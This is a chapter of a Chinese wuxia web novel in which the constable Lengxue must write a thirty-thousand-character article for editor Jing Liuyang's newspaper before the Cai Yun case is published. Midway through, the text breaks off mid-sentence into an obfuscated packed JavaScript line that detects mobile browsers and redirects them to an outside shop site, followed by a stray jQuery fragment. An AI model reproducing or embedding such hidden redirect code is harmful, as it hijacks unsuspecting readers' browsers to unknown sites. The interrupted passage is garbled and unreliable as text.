关于这两个问题的答案,他们也给不出。前者需要等无花的熟人来验尸,目前只能先等着;后者目前一点线索都没有,那个把无花割舌卖入怜筠轩的人,像一滴水融进海里,踪迹全无。目前他们能做的只有等,以及把蔡京钉死。

    沉默良久。

    冷血将指尖收拢,像是压下心底那点极少外露的不自在。他天生性情冷硬,求人,是他这辈子最不擅长的事。可最终,他还是开口了。

    “景公子。”

    他顿了顿,像是在斟酌措辞,尽量让自己的语气诚恳、合规,却依旧生硬:“蔡云一案,罪证确凿。可蔡云是蔡京亲子,此案若仅止于府衙结案,风头一过,必会被朝中蔡党揭过。”冷血的指节反复摩挲腰间佩剑的剑锷,指尖来回摩擦,“我希望在《大宋日报》上,将此案刊发。《大宋日报》唯你执笔最有分量,最好由你据实撰写此案。”他顿了顿,“越快越好。”

    流景往后一靠,靠在椅背上,拿起桌上的乌木折扇,展开,慢慢摇了摇。扇面上的山水在日光下微微泛光,她嘴角弯着,带着一种“我终于等到这一刻了”的、不紧不慢的笑。

    “冷捕头,”她的声音不高不低,“我记得你前几日还跟我说——‘此案为六扇门负责,景公子回去等消息吧’。”

    冷血的嘴角绷了一下。

    流景的扇子还在摇,一下,又一下。“怎么,这才几天,冷捕头就改主意了?”

    冷血沉默着,他的手指搭在剑上,指节微微泛白。

    陆小凤端着茶杯,杯沿挡着半张脸,眼睛从杯沿上方露出来,滴溜溜地在两人之间转,他的嘴角也在弯,但是忍住了没有笑出声。小荻已经放下了旧报纸,两只手撑在膝盖上,看得目不转睛。

    屋里安静了几息。

    冷血终于开口了,“我需要你的笔。”六个字,一字一顿,像是从牙缝里挤出来的。他的目光落在桌面上,没有看流景,耳尖已经泛红了。

    流景看着他泛红的耳尖,嘴角弯得更深了,但她的声音还是很平静,“冷捕头需要我的笔——然后呢?”

    冷血的喉结又动了一下,“蔡京在朝中树大根深,杭州的案子,即便证据确凿,到了汴京,也未必能定他儿子的罪。若是压下来,或是找人顶罪——”他停了一下,“但若此案在民间传开,再由御史台据此弹劾,蔡京便不能一手遮天。”他的声音越说越低,像是在说服自己,又像是在说服流景,“况且,你的文章能直达天听。”

    流景心中思索着:只是需要嘛,那可远远不够呢!

    她慢悠悠合上卷宗,指尖轻轻敲着纸面,眼底带着浅浅笑意,完全看穿他的窘迫。她当然知道神侯府的算盘,也知道他今日登门,根本没得选。

    所以她不急着答应,反而轻轻反问一句:“冷四爷这是——在和我商量公事?”

    冷血微怔,点头:“是,于公有益,于朝堂有益,于律法公允有益。”

    “哦。”流景拖长语调,笑意更浓,却故意装傻道,“可六扇门办案,本就是分内之事。朝堂博弈,也是你们庙堂人的事。我一介闲散文人,办报写文,随心而已。”她抬眼,轻轻看着他,语气温柔、刀却精准插心:“公事是你们的,好处是神侯府的,风险是我景留泱的。冷捕头只一句‘希望我撰文’,就让我替你们顶风头?”

    陆小凤在旁边差点笑出声,默默心想:来了来了,他就是在等冷血低头求他。

    冷血喉结微滚,平生第一次有些语塞还得硬撑:“若景公子肯相助,我冷血承你人情,日后若有需要,我冷血一定赴汤蹈火在所不辞。”

    “不必。”流景轻轻打断,折扇一开,悠然晃着,笑意浅浅,继续刁难:“我不是江湖中人,不需要承你人情。冷四爷,你还没明白——”她微微前倾,字字清晰,精准拿捏:“合作,是互相情愿。帮忙,才需要低头求人。你今日是来合作,还是来求我?”

    一句话,直接把冷血逼到死角,庭院里的风都似静了一瞬。

    短暂的沉默僵持过后,冷血语气依旧冷硬,无半分讨好:“我以我自己的名义写稿,无需你动笔。”

    流景的扇子停了,她看着他,眼尾的弧度微微上挑了一下,“哦?”

    冷血迎着那道目光,没有退缩:“我认得字,我会写。”他的语气很硬,像一块被水冲了很久的石头,棱角还在,但表面已经被磨得发亮了,“不需要你替我执笔,我写好,你发。”

    他能为公退让、为法变通、为真相放下身段,却唯独做不出刻意低头乞怜、软言讨好的姿态。哪怕知晓眼前是唯一捷径,也不肯折腰示弱。他怕丢了自身本心,更怕丢神侯府的风骨。

    流景没有立刻回答,她把扇子放下,双手搭在桌面上,十指交叉,身体微微前倾。

    “冷捕头,原则上,以你个人的名义投稿,我们《大宋日报》确实可以接受。”她的声音不高不低,像是在念一条规章,“但作为《大宋日报》江南道的最高负责人,我有权审稿。”她的嘴角弯了一下——是一种“我接下来要说的话你可能会不太想听”的表情,“你写的东西,我看了不满意,就不能登报,这是规矩。”

    冷血的手指在卷宗边缘收紧了。

    流景慢悠悠地往后一靠,重新拿起扇子,在掌心轻轻一敲:“这样吧,你先写——”她像是在认真思考,“三万字。”

    陆小凤一口茶喷了出来。他手忙脚乱地擦着衣襟上的水渍,眼睛瞪得像铜铃:“三万字!”他的声音拔高了半个调,那是一份卷宗,不是一本话本!三万字写什么?写蔡云今天喝了几杯酒、明天打了几个喷嚏吗?

    流景没有理陆小凤,她看着冷血,目光清澈坦然:“冷捕头,你既然要以自己的名义发稿,总得让读者看到你的诚意。三万字,不多不少。”当然,在正式发文之前,冷血的读者只有她一个人。“写得好,我自然给你发。写不好,你重新改。改到我满意为止。”

    陆小凤放下茶杯,绕到流景身边,压低声音:“景公子,不至于吧?一顿饭的事,你至于那么整人家吗?”

    流景转头看了他一眼,那目光里带着一种“你闭嘴”的冷漠:“一顿饭是打赌的事,审稿是公事,不要混为一谈。”

    陆小凤识相地闭上了嘴,默默退回了自己的位置。

    冷血的脊背挺得很直,他的手从卷宗上收回来,垂在身侧:“好,三万字,我写。”

    流景弯了一下嘴角:“写好了,拿给我看。”

    门关上了,屋里的日光晃了一下。陆小凤看着那扇合上的门,又看了看流景:“你真的觉得他能写出三万字?”

    流景摊开扇子摇了摇:“他写不出来。”

    陆小凤愣住了:“那你——”

    “等他写不出来的时候,”流景的扇子遮住了半张脸,只露出一双含笑的眼睛,“他会回来求我的。”

    陆小凤沉默了片刻,忽然觉得这个人比自己那位损友司空摘星要恶劣得多。

    冷血跟花满楼借了一个空房间,开始了书写。

    他写了半个时辰,写满了三页纸。他停下来,把笔搁在砚台上,低头看着那三页纸——墨迹已经干了,字迹工整,一笔一划,绝无潦草。然后他数了一下页数,又算了算字数,目光微微凝住了。

    三页纸,约莫一千字。

    三万字,他还需要写九十页纸。他看了看手边那沓纸的厚度——还剩不到三十页。冷血的眉心跳了一下。他伸手,把那三页纸拿起来,一页一页地又看了一遍。然后他放下了,重新拿起了笔。笔尖重新落在纸面上,发出沙沙的声响。

    小荻是在午后找到冷血的。

    他鬼鬼祟祟地探进半个脑袋,看到冷血还坐在那里,面前已经多了一摞写满字的纸。纸页的边缘有些卷,上面的字迹虽然端正,但笔速明显比上午快了一些——有些字的笔画已经开始连起来了。小荻溜进来,在冷血旁边的椅子上坐下,双手撑着膝盖,歪着头看他写了好一会儿。冷血没有理他,笔下没有停。

    小荻忍不住了:“冷四爷。”

    冷血没有抬头。

    “景公子这个人呢,吃软不吃硬。”小荻把声音压低,像个在分享秘密的小大人,“你只要跟他说几句好话,这事就那么过去了。”

    冷血的笔顿了一下:“我不会说好话。”

    “那你痛点好一点总可以吧。”小荻想了想,“其实他这个人挺好的。虽然有时候很凶,但凶也是装的。我阳——”他差点说出“阳姑姑”三个字,赶紧改了口,“我认识他很久了,他从来没真的生过气。”

    冷血终于抬起头,看了他一眼。“你一个小孩子,懂什么。”

    小荻鼓起腮帮子:“我懂的比你多。你这个人啊,就是太死板了,不会转弯。”他站起来,在冷血面前踱了两步,学着大人的样子把手背在身后,“这样吧,我去帮你跟景公子说情,他肯定会给我面子的。不过——”他话锋一转,眼睛亮晶晶地看着冷血腰间的剑,“你得把这个借我玩两天。”

    冷血的目光冷了几分。“不行。”

    “为什么不行?”小荻急了,“我又不会弄坏它!”

    “剑客的剑,”冷血的声音不高,但每个字都很重,“不能让别人碰。”

    小荻的嘴一瘪,眼眶有点红了,“明明小侯爷都愿意把血河借给我看……”他的声音带上了委屈,“你的剑又没什么名气,又不是什么神兵利器,这么小气干什么?”

    冷血的眉心微不可察地皱了一下,他看了小荻一眼,又看了一眼自己腰间的剑。剑身没有鞘,薄刃寒芒,看上去是一把很普通的剑。

    他想起了他生平的第一把正式佩剑,是世叔赠与的越道剑,同时也传授给了他一套越路剑法。在发觉越路剑法不再适合、甚至会限制他的剑道时,他选择了折剑,又依着那八十二招越路剑法自创出了一套无名剑法,腰间的佩剑也从越道剑换成了如今的无名剑。

    没有名字,没有来历,没有故事。他握了它很久,从来没有想过它有没有名气。

    小荻看他不说话,觉得没趣,跺了一下脚,跑了。他的背影消失在院门口,跑得很快,像一只被踩了尾巴的猫。

    冷血收回目光,重新拿起笔。他低头看着面前那页写了一半的纸——墨迹已经干了。他把那页纸抽出来放在一边,铺开一张新的。笔尖落下去的时候,他的动作比方才慢了半拍。

    “真是什么样的大人,带出什么样的孩子。”他低声说了一句,然后继续写。

    经过一天一夜的奋斗,冷血终于写完了这三万字。

    他搁下笔的时候,窗外已经黑了,又亮了。桂花树上落了一层薄薄的露水,在晨光里泛着湿润的光。

    冷血动了动右手——手指僵得像生了锈,关节咔咔作响。他低头看着自己的手,虎口处被笔杆磨出了一道浅浅的红痕,食指和中指的指腹也凹下去了,像是被什么东西压久了,一时半会恢复不过来。

    他活这么大,练剑都没有练得手抽筋过,今儿倒是在写字上破了例。当年世叔请“白首书生”辜空帷来给他当教练,教他识字念书时,他悟性出众,书中道理一学就通,却自有主张,不肯依从辜夫子那套死记硬背的规矩,读书都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742265|205530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是得过且过。

    现在想来,当初多少还是要听从些的,多学一些漂亮话,这三万字也不用写得那么搜肠刮肚了。

    他拿起那厚厚一沓纸,走出房间。

    阳光正从东边照过来,落在大宋日报分社的院子里。流景坐在廊下,手里捧着一碗粥,正在喝。她看到冷血走过来,目光落在他手里那沓纸上,端粥的手顿了顿。

    冷血走到她面前,把那沓纸放在桌上。厚厚一摞,边角微微卷起,墨迹已经干了,散发着淡淡的松烟香。

    流景放下粥碗,拿起那沓纸。她翻了一页,又翻了一页,脸上的笑容终于僵住了。

    经常被人吐槽脸坚忍得如同花岗岩石般的冷血,头一次觉得有人的脸能在笑着的同时硬得像块石头。

    但这幅表情比起之前虚伪的笑容要有趣得多,冷血心中升起一种狹促的报复心理。

    流景抹了把脸,放下稿子,一双眼珠子盯着冷血看了好一会儿。然后她一拍桌子,站了起来。

    正当冷血以为他又要怎么刁难自己时,流景拿起一沓稿子转头就走。

    冷血沉默了一会儿,看着那扇被拍得还在晃动的门,低声说了一句:“……男子汉大丈夫,这像什么样子!”

    一旁的慕容小荻欲言又止,默默把嘴边的话咽了回去。

    到了中午,冷血应了花满楼和陆小凤的邀请,去望湖楼吃饭。望湖楼在钱塘门外,面向西湖,湖水在正午的阳光下泛着粼粼的金光,远处有画舫缓缓划过,桨声欸乃,悠长得像一声叹息。

    冷血上了二楼,陆小凤已经占了一张靠窗的桌子,花满楼坐在对面,脸上还蒙着那条黑布,但气色明显比前几日好了许多。

    冷血在他们对面坐下,目光扫了一圈,席间却唯独只看见了小荻,没有看到那个人的身影。

    陆小凤像是看出了他的疑惑,给他倒了一杯茶:“景公子忙着修稿,让我们吃过帮他带一份回去就好。”

    修稿?帮他吗?冷血愣了一下。他又想了想,确定自己听到的确实是“修稿”,不是“改稿”。

    陆小凤拿起酒壶给他倒了一杯,招呼他多吃一些,说今天的这一餐是景公子买单。冷血没有多想,端起酒杯喝了一口。酒有些烈,入口辣,后味却泛着甜。他放下酒杯,夹了一筷子鱼,味道鲜嫩,火候正好。

    一顿饭吃得还算舒心,没有碍眼的人存在。

    倒不是说他讨厌景公子,他的刁难方式相比他在江湖上见过的那些大凶大恶之人,只能算是小孩子的恶作剧。如果来的是三个师兄中的任意一个,都能把这件事处理得很好,只可惜他不擅长这些。

    一顿饭过后,陆小凤和花满楼打包了几道饭菜,让他送慕容小荻回去,并把饭菜给景公子带去。冷血知道这是他们有意帮他缓解和景公子的关系,毕竟他不是纯粹的江湖人士,以后还是得和大宋日报打交道的。而且得罪了能在官家面前说得上话的人,对现在的神侯府没有好处,这也是冷血一直在容忍景留泱的原因。

    回去的路上,小荻和冷血有一搭没一搭地聊着。当然大多数都是小荻在说,冷血时不时回一句。

    到了大宋日报据点时,流景正在奋笔疾书。她面前摊着一沓写满字的稿纸,手边还有一摞空白的。她写得很专注,笔尖划过纸面的声音沙沙的。桌上的粥碗已经空了,冷血看了一眼,那碗粥是她早上剩下的,她大概连午饭都忘了吃。

    冷血把食盒放在桌角,站在旁边看了一会儿。他想了想花满楼或者陆小凤会怎么说,“……先吃点东西吧。”他的声音有些生硬,像是不太习惯说这种话,“一会饭菜凉了就不好吃了。”

    流景的笔停了下来。她抬起头看着他,目光定在他脸上,像是在辨认什么。好半天,她才开口,带着一丝狐疑:“是本人吗?还是陆小凤找人易容成冷血来整我?”

    冷血只觉得自己是多此一举,多余关心他。他别开视线,语气硬邦邦的:“不吃算了。”

    流景笑了一下,放下笔,打开食盒,饭菜还冒着热气。她拿起筷子,夹了一筷子菜塞进嘴里,含混不清地问了一句:“冷捕头,准备在报纸上用真名还是假名?”

    冷血微微一怔:“还能用假名?”

    “当然。”流景又夹了一口菜,“有些人怕麻烦,就会用假名写。”她嚼完了嘴里的食物,放下筷子,像是忽然起了兴致,歪着头看着他,“要不要我帮你取个笔名?”

    “不必。”

    “别客气嘛。”流景的手指在桌面上点了两下,“冷血,冷凌弃……你是想叫‘雪冷’还是‘七百’?”

    冷血听着,目光微微一动。前面那个他能理解,把“冷血”二字倒过来,但“七百”是哪里来的?

    “七百是哪来的?”

    “谐音啊。”流景理所当然地答道,“冷凌柒,零零七,倒过来是七百——”她说着自己也忍不住笑了,□□安当年写他,估计也是玩的谐音梗。

    冷血沉默了好一会儿,觉得这个解释有些离谱,又好像也不是完全没有道理。他收回思绪,声音比方才更冷硬了些:“还是用真名吧。”

    “行。”流景应得干脆,“满足你。”

    她重新拿起笔,低头继续写。冷血看着她伏案的背影,他没有多想,转身走了。

    仅仅相隔了一天,报纸发售了。

    冷血是在府衙的案头看到那份报纸的,有人把它放在他桌上,折好的,头版朝上。他拿起来,展开,看到头版头条上并列着两个名字——一个是他自己的,冷血。另一个是景留泱。

    文章全文一千字出头。